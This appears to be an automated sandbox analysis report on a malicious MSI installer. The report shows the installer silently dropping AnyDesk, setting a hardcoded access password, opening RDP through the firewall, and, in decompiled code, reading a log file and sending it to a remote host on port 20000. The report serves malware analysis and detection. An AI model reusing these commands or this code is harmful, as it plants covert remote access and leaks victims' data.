Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . d @ . ( p . ! y .
Data Raw:	9d 00 9e 00 9f 00 a0 00 a1 00 a3 00 a4 00 a6 00 a7 00 ae 00 b0 00 b1 00 b4 00 b6 00 b7 00 b9 00 ba 00 bb 00 bd 00 bf 00 c0 00 c2 00 c3 00 cf 00 d0 00 d1 00 d2 00 d3 00 d4 00 d5 00 d6 00 d7 00 d8 00 d9 00 db 00 df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 00 dc 00 dc 00 de 00 de 00 de 00 de 00 de 00 da 00 dd 00 dd 00 dd 00 dd 00 dd 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x18496\x17490\x17910\x17380\x16303\x16146\x17704\x16952\x16817\x18472, File Type: data, Stream Size: 48

General
Stream Path:	\x18496\x17490\x17910\x17380\x16303\x16146\x17704\x16952\x16817\x18472
File Type:	data
Stream Size:	48
Entropy:	3.110087760732172
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . d
Data Raw:	9d 00 9e 00 9f 00 a5 00 cf 00 d0 00 d1 00 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 83 84 83 e8 83 14 85 19 80 64 80 bc 82 b0 84

Stream Path: \x18496\x17548\x17648\x17522\x17512\x18487, File Type: Dyalog APL aplcore version 171.0, Stream Size: 12

General
Stream Path:	\x18496\x17548\x17648\x17522\x17512\x18487
File Type:	Dyalog APL aplcore version 171.0
Stream Size:	12
Entropy:	2.292481250360578
Base64 Encoded:	False
Data ASCII:	. . . . . . .
Data Raw:	aa 00 ab 00 ac 00 04 80 00 00 ad 00

Stream Path: \x18496\x17630\x17770\x16868\x18472, File Type: data, Stream Size: 32

General
Stream Path:	\x18496\x17630\x17770\x16868\x18472
File Type:	data
Stream Size:	32
Entropy:	2.198391110799899
Base64 Encoded:	False
Data ASCII:	/ . / . . . - . - . . . . . . . . . . . . . . . . . . . . .
Data Raw:	2f 01 2f 01 00 00 2d 01 2d 01 00 00 00 00 00 00 01 00 00 80 02 00 00 80 00 00 00 00 19 01 18 01

Stream Path: \x18496\x17753\x17650\x17768\x18231, File Type: data, Stream Size: 88

General
Stream Path:	\x18496\x17753\x17650\x17768\x18231
File Type:	data
Stream Size:	88
Entropy:	3.9470457308545095
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . / . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . .
Data Raw:	91 00 e3 00 e5 00 e6 00 f0 00 f1 00 f3 00 f5 00 f7 00 f9 00 fb 00 fd 00 ff 00 01 01 03 01 10 01 11 01 13 01 15 01 17 01 1a 01 2c 01 2f 01 e4 00 e4 00 e4 00 ee 00 02 01 f4 00 f6 00 f8 00 fa 00 fc 00 fe 00 00 01 02 01 02 01 2e 01 12 01 14 01 16 01 2d 01 1b 01 e4 00

Stream Path: \x18496\x17932\x17910\x17458\x16778\x17207\x17522, File Type: data, Stream Size: 180

General
Stream Path:	\x18496\x17932\x17910\x17458\x16778\x17207\x17522
File Type:	data
Stream Size:	180
Entropy:	2.754589929626484
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . 3 . . 3 . 3 . . . 3 . 3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	ae 00 b0 00 b1 00 b4 00 b6 00 b7 00 b9 00 ba 00 bb 00 bd 00 bf 00 c0 00 c2 00 c3 00 c5 00 01 80 33 80 01 80 01 80 33 80 01 8c 33 80 01 8c 01 80 01 80 33 80 01 8c 33 80 01 8c 01 80 a9 00 b1 00 a9 00 a9 00 b7 00 a9 00 ba 00 a9 00 a9 00 a9 00 c0 00 a9 00 c3 00 a9 00 a9 00 af 00 b2 00 b3 00 b5 00 b2 00 b8 00 b2 00 b3 00 bc 00 be 00 b2 00 c1 00 b2 00 c4 00 c6 00 00 00 00 00 00 00 00 00

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 18:23:17.955034971 CEST	49175	443	192.168.2.22	195.181.174.167
Aug 5, 2022 18:23:17.955077887 CEST	443	49175	195.181.174.167	192.168.2.22
Aug 5, 2022 18:23:17.955163002 CEST	49175	443	192.168.2.22	195.181.174.167
Aug 5, 2022 18:23:17.956656933 CEST	49175	443	192.168.2.22	195.181.174.167
Aug 5, 2022 18:23:17.956707001 CEST	443	49175	195.181.174.167	192.168.2.22
Aug 5, 2022 18:23:17.956804037 CEST	49175	443	192.168.2.22	195.181.174.167
Aug 5, 2022 18:23:18.078598976 CEST	49176	80	192.168.2.22	92.223.88.41
Aug 5, 2022 18:23:18.109005928 CEST	80	49176	92.223.88.41	192.168.2.22
Aug 5, 2022 18:23:18.109520912 CEST	49176	80	192.168.2.22	92.223.88.41
Aug 5, 2022 18:23:18.117553949 CEST	49177	6568	192.168.2.22	195.181.174.174
Aug 5, 2022 18:23:18.136924982 CEST	6568	49177	195.181.174.174	192.168.2.22
Aug 5, 2022 18:23:18.137054920 CEST	49177	6568	192.168.2.22	195.181.174.174
Aug 5, 2022 18:23:18.137501955 CEST	49177	6568	192.168.2.22	195.181.174.174
Aug 5, 2022 18:23:18.158116102 CEST	6568	49177	195.181.174.174	192.168.2.22
Aug 5, 2022 18:23:18.158333063 CEST	49177	6568	192.168.2.22	195.181.174.174
Aug 5, 2022 18:23:45.921768904 CEST	49178	20000	192.168.2.22	80.209.241.3
Aug 5, 2022 18:23:46.016635895 CEST	20000	49178	80.209.241.3	192.168.2.22
Aug 5, 2022 18:23:46.019696951 CEST	49178	20000	192.168.2.22	80.209.241.3
Aug 5, 2022 18:23:46.019758940 CEST	49178	20000	192.168.2.22	80.209.241.3
Aug 5, 2022 18:23:46.153834105 CEST	20000	49178	80.209.241.3	192.168.2.22
Aug 5, 2022 18:23:46.159286976 CEST	49178	20000	192.168.2.22	80.209.241.3
Aug 5, 2022 18:23:46.294455051 CEST	20000	49178	80.209.241.3	192.168.2.22
Aug 5, 2022 18:23:46.294933081 CEST	20000	49178	80.209.241.3	192.168.2.22
Aug 5, 2022 18:23:46.295002937 CEST	20000	49178	80.209.241.3	192.168.2.22
Aug 5, 2022 18:23:46.299264908 CEST	49178	20000	192.168.2.22	80.209.241.3
Aug 5, 2022 18:23:47.520963907 CEST	49178	20000	192.168.2.22	80.209.241.3
Aug 5, 2022 18:23:47.615866899 CEST	20000	49178	80.209.241.3	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 18:23:17.905138016 CEST	55868	53	192.168.2.22	8.8.8.8
Aug 5, 2022 18:23:17.924896002 CEST	53	55868	8.8.8.8	192.168.2.22
Aug 5, 2022 18:23:17.925493956 CEST	55868	53	192.168.2.22	8.8.8.8
Aug 5, 2022 18:23:17.944211960 CEST	53	55868	8.8.8.8	192.168.2.22
Aug 5, 2022 18:23:18.053093910 CEST	49688	53	192.168.2.22	8.8.8.8
Aug 5, 2022 18:23:18.075155973 CEST	53	49688	8.8.8.8	192.168.2.22
Aug 5, 2022 18:23:18.088778019 CEST	58836	53	192.168.2.22	8.8.8.8
Aug 5, 2022 18:23:18.109394073 CEST	53	58836	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 5, 2022 18:23:17.905138016 CEST	192.168.2.22	8.8.8.8	0x8710	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Aug 5, 2022 18:23:17.925493956 CEST	192.168.2.22	8.8.8.8	0x8710	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Aug 5, 2022 18:23:18.053093910 CEST	192.168.2.22	8.8.8.8	0xcfca	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Aug 5, 2022 18:23:18.088778019 CEST	192.168.2.22	8.8.8.8	0x5d9d	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 5, 2022 18:23:17.924896002 CEST	8.8.8.8	192.168.2.22	0x8710	No error (0)	boot.net.anydesk.com	92.223.88.41	A (IP address)	IN (0x0001)
Aug 5, 2022 18:23:17.944211960 CEST	8.8.8.8	192.168.2.22	0x8710	No error (0)	boot.net.anydesk.com	195.181.174.167	A (IP address)	IN (0x0001)
Aug 5, 2022 18:23:18.075155973 CEST	8.8.8.8	192.168.2.22	0xcfca	No error (0)	boot.net.anydesk.com	92.223.88.41	A (IP address)	IN (0x0001)
Aug 5, 2022 18:23:18.109394073 CEST	8.8.8.8	192.168.2.22	0x5d9d	No error (0)	boot.net.anydesk.com	195.181.174.174	A (IP address)	IN (0x0001)

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: msiexec.exePID: 2996, Parent PID: 2628

General

Target ID:	1
Start time:	18:22:14
Start date:	05/08/2022
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\1.msi"
Imagebase:	0xff1c0000
File size:	128512 bytes
MD5 hash:	AC2E7152124CEED36846BD1B6592A00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 1184, Parent PID: 404

General

Target ID:	2
Start time:	18:22:15
Start date:	05/08/2022
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0xff1c0000
File size:	128512 bytes
MD5 hash:	AC2E7152124CEED36846BD1B6592A00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: VSSVC.exePID: 1232, Parent PID: 404

General

Target ID:	3
Start time:	18:22:16
Start date:	05/08/2022
Path:	C:\Windows\System32\VSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\vssvc.exe
Imagebase:	0xff910000
File size:	1600512 bytes
MD5 hash:	B60BA0BC31B0CB414593E169F6F21CC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 2224, Parent PID: 404

General

Target ID:	4
Start time:	18:22:16
Start date:	05/08/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k swprv
Imagebase:	0xff7d0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 2876, Parent PID: 1184

General

Target ID:	5
Start time:	18:22:57
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 6381DE7DB6BAADD41D0E24C26E59EDFC
Imagebase:	0xd00000
File size:	73216 bytes
MD5 hash:	4315D6ECAE85024A0567DF2CB253B7B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 1704, Parent PID: 1184

General

Target ID:	6
Start time:	18:23:03
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 22388C515E15FC158EA4B11229C0F8D9 E Global\MSI0000
Imagebase:	0xd00000
File size:	73216 bytes
MD5 hash:	4315D6ECAE85024A0567DF2CB253B7B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: icacls.exePID: 1820, Parent PID: 1704

General

Target ID:	7
Start time:	18:23:04
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
Imagebase:	0x5b0000
File size:	27136 bytes
MD5 hash:	1542A92D5C6F7E1E80613F3466C9CE7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: expand.exePID: 672, Parent PID: 1704

General

Target ID:	9
Start time:	18:23:06
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\expand.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
Imagebase:	0xf70000
File size:	53248 bytes
MD5 hash:	659CED6D7BDA047BCC6048384231DB9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: install.exePID: 2440, Parent PID: 1704

General

Target ID:	11
Start time:	18:23:11
Start date:	05/08/2022
Path:	C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe"
Imagebase:	0x400000
File size:	3837440 bytes
MD5 hash:	8C42AB81F90EE0592F7A709F0F7E320B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 1404, Parent PID: 2440

General

Target ID:	12
Start time:	18:23:16
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c c:\programdata\anydesk.exe --install C:\ProgramData\AnyDesk --silent
Imagebase:	0x4a350000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rdpdr.sysPID: 4, Parent PID: -1

General

Target ID:	13
Start time:	18:23:16
Start date:	05/08/2022
Path:	C:\Windows\System32\drivers\rdpdr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	165888 bytes
MD5 hash:	1B6163C503398B23FF8B939C67747683
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: tdtcp.sysPID: 4, Parent PID: -1

General

Target ID:	15
Start time:	18:23:17
Start date:	05/08/2022
Path:	C:\Windows\System32\drivers\tdtcp.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	23552 bytes
MD5 hash:	51C5ECEB1CDEE2468A1748BE550CFBC8
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: anydesk.exePID: 2640, Parent PID: 1404

General

Target ID:	16
Start time:	18:23:18
Start date:	05/08/2022
Path:	C:\ProgramData\anydesk.exe
Wow64 process (32bit):	true
Commandline:	c:\programdata\anydesk.exe --install C:\ProgramData\AnyDesk --silent
Imagebase:	0x1040000
File size:	3829888 bytes
MD5 hash:	1BC5890C9E7BF54B7712E344B0AF9D04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: tssecsrv.sysPID: 4, Parent PID: -1

General

Target ID:	17
Start time:	18:23:18
Start date:	05/08/2022
Path:	C:\Windows\System32\drivers\tssecsrv.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	39936 bytes
MD5 hash:	19BEDA57F3E0A06B8D5EB6D619BD5624
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rdpwd.sysPID: 4, Parent PID: -1

General

Target ID:	18
Start time:	18:23:18
Start date:	05/08/2022
Path:	C:\Windows\System32\drivers\rdpwd.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	212480 bytes
MD5 hash:	FE571E088C2D83619D2D48D4E961BF41
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: AnyDesk.exePID: 2556, Parent PID: 404

General

Target ID:	20
Start time:	18:23:25
Start date:	05/08/2022
Path:	C:\ProgramData\anydesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AnyDesk\AnyDesk.exe" --service
Imagebase:	0x12a0000
File size:	3829888 bytes
MD5 hash:	1BC5890C9E7BF54B7712E344B0AF9D04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, Virustotal, Browse Detection: 3%, Metadefender, Browse Detection: 2%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: AnyDesk.exePID: 2336, Parent PID: 1860

General

Target ID:	21
Start time:	18:23:32
Start date:	05/08/2022
Path:	C:\ProgramData\anydesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AnyDesk\AnyDesk.exe" --control
Imagebase:	0x12a0000
File size:	3829888 bytes
MD5 hash:	1BC5890C9E7BF54B7712E344B0AF9D04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2544, Parent PID: 2440

General

Target ID:	22
Start time:	18:23:41
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c echo 31121985west\|c:\programdata\anydesk\anydesk.exe --set-password
Imagebase:	0x4a0e0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2548, Parent PID: 2544

General

Target ID:	24
Start time:	18:23:42
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo 31121985west"
Imagebase:	0x4a0e0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: AnyDesk.exePID: 2856, Parent PID: 2544

General

Target ID:	25
Start time:	18:23:42
Start date:	05/08/2022
Path:	C:\ProgramData\anydesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	c:\programdata\anydesk\anydesk.exe --set-password
Imagebase:	0x12a0000
File size:	3829888 bytes
MD5 hash:	1BC5890C9E7BF54B7712E344B0AF9D04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: AnyDesk.exePID: 2120, Parent PID: 2440

General

Target ID:	26
Start time:	18:23:54
Start date:	05/08/2022
Path:	C:\ProgramData\anydesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"c:\programdata\anydesk\anydesk.exe" --get-id
Imagebase:	0x12a0000
File size:	3829888 bytes
MD5 hash:	1BC5890C9E7BF54B7712E344B0AF9D04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 2744, Parent PID: 2440

General

Target ID:	27
Start time:	18:23:58
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="RDP" dir=in protocol=TCP localport=3389 action=allow
Imagebase:	0x13a0000
File size:	96256 bytes
MD5 hash:	784A50A6A09C25F011C3143DDD68E729
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: icacls.exePID: 1004, Parent PID: 1704

General

Target ID:	29
Start time:	18:24:02
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)LOW
Imagebase:	0xf00000
File size:	27136 bytes
MD5 hash:	1542A92D5C6F7E1E80613F3466C9CE7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2332, Parent PID: 2876

General

Target ID:	31
Start time:	18:24:06
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files"
Imagebase:	0x4aab0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: install.exePID: 2440, Parent PID: 1704COMMON

Execution Graph

Execution Coverage:	59.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.6%
Total number of Nodes:	55
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401254 Relevance: 21.0, APIs: 9, Strings: 3, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401254() {
				struct HINSTANCE__* _v8;
				struct HRSRC__* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				long _v28;
				void* _t21;
				int _t25;

				CreateDirectoryA("c:\\programdata\\anydesk", 0); // executed
				_v8 = GetModuleHandleA(0);
				_v12 = FindResourceA(_v8, 1, 0xa);
				_v16 = LoadResource(_v8, _v12);
				_v20 = SizeofResource(_v8, _v12);
				_t21 = CreateFileA("c:\\programdata\\anydesk.exe", 0xc0000000, 3, 0, 2, 0x80, 0); // executed
				_v24 = _t21;
				WriteFile(_v24, _v16, _v20,  &_v28, 0); // executed
				CloseHandle(_v24); // executed
				_t25 = WriteFile( *0x403009, "anydesk-ID:\r\n", 0xd, 0x40300d, 0); // executed
				return _t25;
			}

0x00401261
0x0040126d
0x0040127c
0x0040128a
0x00401298
0x004012b2
0x004012b7
0x004012c9
0x004012d1
0x004012ea
0x004012f0

APIs

CreateDirectoryA.KERNEL32(c:\programdata\anydesk,00000000), ref: 00401261
GetModuleHandleA.KERNEL32(00000000,c:\programdata\anydesk,00000000), ref: 00401268
FindResourceA.KERNEL32 ref: 00401277
LoadResource.KERNEL32(?,?,?,00000001,0000000A,00000000,c:\programdata\anydesk,00000000), ref: 00401285
SizeofResource.KERNEL32(?,?,?,?,?,00000001,0000000A,00000000,c:\programdata\anydesk,00000000), ref: 00401293
CreateFileA.KERNEL32(c:\programdata\anydesk.exe,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 004012B2
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004012C9
CloseHandle.KERNEL32(?), ref: 004012D1
WriteFile.KERNEL32(anydesk-ID:,0000000D,0040300D,00000000,c:\programdata\anydesk.exe), ref: 004012EA

Strings

c:\programdata\anydesk, xrefs: 0040125C
anydesk-ID:, xrefs: 004012DF
c:\programdata\anydesk.exe, xrefs: 004012AD

Memory Dump Source

Source File: 0000000B.00000002.1124736719.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1124729540.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124744809.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124752388.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124757318.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_install.jbxd

Similarity

API ID: FileResource$CreateHandleWrite$CloseDirectoryFindLoadModuleSizeof
String ID: anydesk-ID:$c:\programdata\anydesk$c:\programdata\anydesk.exe
API String ID: 256846031-1519924170
Opcode ID: d4beda94ffc1bb633b7d6a535d825c58c5997699c9baf6a9fc4583804ef3b1f4
Instruction ID: 7436f7c415bd5eecbf4a86932a8f0026481cac008c1ba259d3779c9b785758b3
Opcode Fuzzy Hash: d4beda94ffc1bb633b7d6a535d825c58c5997699c9baf6a9fc4583804ef3b1f4
Instruction Fuzzy Hash: 8701A170A80209BAEF11AFD19D03FADBE75AF00B05F204076B611790F1D7B55B10AB59

Uniqueness

Uniqueness Score: -1.00%

Function 004013DD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 120
filememorynetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 35%

			E004013DD() {
				char _v402;
				intOrPtr _v416;
				short _v418;
				char _v420;
				long _v424;
				char _v426;
				intOrPtr _v432;
				signed int _v436;
				void* _v440;
				void* _v444;
				void* _v448;
				long _v452;
				void* _t35;
				char* _t36;
				signed int _t37;
				long _t38;
				char* _t48;
				intOrPtr _t50;

				_t35 = CreateFileA("log1.txt", 0x80000000, 1, 0, 4, 0x80, 0); // executed
				_t36 = _t35 + 1;
				if(_t36 != 0) {
					_t37 = _t36 - 1;
					_v440 = _t37;
					_push(0);
					_push(_t37);
					_push(0xaf044cc8);
					E00401C67();
					_v436 = _t37;
					_t38 = _t37 << 1;
					_v424 = _t38;
					_v426 = 0xfafa;
					_v444 = GlobalAlloc(0x40, _t38);
					_v448 = GlobalAlloc(0x40, _v436 << 3);
					ReadFile(_v440, _v444, _v436,  &_v452, 0); // executed
					_push(_v440);
					_push(0x90b037bb);
					E00401C67();
					MultiByteToWideChar(3, 0, _v444, 0xffffffff, _v448, MultiByteToWideChar(3, 0, _v444, 0xffffffff, _v448, 0));
					asm("ror word [eax+ecx*2-0x2], 0x5");
					asm("loop 0xfffffffa");
					_t36 =  &_v402;
					_push(_t36);
					_push(0x101); // executed
					L00401D74(); // executed
					if(_t36 == 0) {
						_push(0);
						_push(1);
						_push(2);
						_push(0x9df21d1a); // executed
						E00401C67(); // executed
						_t48 = _t36 + 1;
						if(_t48 != 0) {
							_v432 = _t48 - 1;
							_t50 =  *0x403011; // 0x3f1d150
							_v416 = _t50;
							_v418 = 0x204e;
							_v420 = 2;
							_push(0x10);
							_push( &_v420);
							_push(_v432);
							_push(0xa1ba1316); // executed
							E00401C67(); // executed
							_push("true");
							_push(6);
							_push( &_v426);
							_push(_v432);
							_push(0xdcf162fa); // executed
							E00401C67(); // executed
							_push("true");
							_push(_v424);
							_push(_v448);
							_push(_v432);
							_push(0xdcf162fa); // executed
							E00401C67(); // executed
							_push("true");
							_push(0x2d176b1c); // executed
							E00401C67(); // executed
							_push("true");
							_push(6);
							_t48 =  &_v426;
							_push(_t48);
							_push(_v432);
							_push(0xdf2136fa); // executed
							E00401C67(); // executed
							_push("true");
							_push(_v432);
							_push(0x2082e21c); // executed
							E00401C67(); // executed
							_push(_v432);
							_push(0x82cac1a8);
							E00401C67();
						}
						_push(0xc0c68a24); // executed
						E00401C67(); // executed
						return _t48;
					}
				}
				return _t36;
			}

0x004013fd
0x00401402
0x00401403
0x00401409
0x0040140a
0x00401410
0x00401412
0x00401413
0x00401418
0x0040141d
0x00401423
0x00401425
0x0040142b
0x0040143c
0x00401453
0x00401474
0x00401479
0x0040147f
0x00401484
0x004014b5
0x004014c6
0x004014cc
0x004014ce
0x004014d4
0x004014d5
0x004014da
0x004014e1
0x004014e7
0x004014e9
0x004014eb
0x004014ed
0x004014f2
0x004014f7
0x004014f8
0x004014ff
0x00401505
0x0040150a
0x00401510
0x00401519
0x00401522
0x0040152a
0x0040152b
0x00401531
0x00401536
0x0040153b
0x0040153d
0x00401545
0x00401546
0x0040154c
0x00401551
0x00401556
0x00401558
0x0040155e
0x00401564
0x0040156a
0x0040156f
0x00401574
0x00401579
0x0040157e
0x00401583
0x00401585
0x00401587
0x0040158d
0x0040158e
0x00401594
0x00401599
0x0040159e
0x004015a0
0x004015a6
0x004015ab
0x004015b0
0x004015b6
0x004015bb
0x004015bb
0x004015c0
0x004015c5
0x00000000
0x004015c5
0x004014e1
0x004015cb

APIs

CreateFileA.KERNEL32(log1.txt,80000000,00000001,00000000,00000004,00000080,00000000), ref: 004013FD
GlobalAlloc.KERNEL32(00000040,00000000,AF044CC8,00000000,00000000,log1.txt,80000000,00000001,00000000,00000004,00000080,00000000,?,0040124B,?,00000000), ref: 00401437
GlobalAlloc.KERNEL32(00000040,?,00000040,00000000,AF044CC8,00000000,00000000,log1.txt,80000000,00000001,00000000,00000004,00000080,00000000,?,0040124B), ref: 0040144E
ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00401474
